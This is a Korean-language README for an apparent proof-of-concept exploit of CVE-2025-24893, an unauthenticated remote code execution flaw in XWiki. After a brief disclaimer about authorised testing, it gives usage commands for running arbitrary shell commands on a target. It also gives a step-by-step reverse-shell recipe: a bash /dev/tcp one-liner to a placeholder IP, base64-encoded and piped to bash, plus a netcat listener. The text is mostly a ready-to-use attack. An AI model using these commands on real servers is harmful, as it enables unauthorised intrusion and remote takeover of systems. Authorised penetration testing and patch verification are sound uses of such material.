CVE-2025-24893 - XWiki 원격 코드 실행 (RCE)

CVE-2025-24893에 대한 업데이트된 개념 증명(PoC) 익스플로잇입니다. XWiki의 인증되지 않은 치명적인 RCE 취약점입니다. 이 버전은 임의의 셸 명령 실행과 깔끔한 리버스 셸 주입을 가능하게 하여 원본을 개선했습니다.

작성자: HexHunter404

⚠️ 경고

이 코드는 교육 및 허가된 침투 테스트 목적으로만 제공됩니다.
소유하지 않거나 명시적인 테스트 권한이 없는 시스템에서는 사용하지 마십시오.

✨ 기능

• bash -c '<command>'를 통한 명령 실행 지원
• Base64를 사용한 리버스 셸 완전 지원 (Groovy 문제 우회)
• 명령 출력 처리 개선
• /xwiki 경로 유지 및 리디렉션 루프 방지

🐍 사용법

python3 CVE-2025-24893-PoC.py -u http://<target>/xwiki -c "<command>"

🐚 리버스 셸 얻기

. Base64로 리버스 셸 인코딩

echo "bash -i >& /dev/tcp/[IP]/4444 0>&1" | base64

. PoC를 사용하여 전송

python3 CVE-2025-24893-PoC.py -u [URL] -c "echo [Base64 Payload] | base64 -d | bash"

. 리스너 설정

nc -lvnp 4444

성공하면 셸을 획득합니다.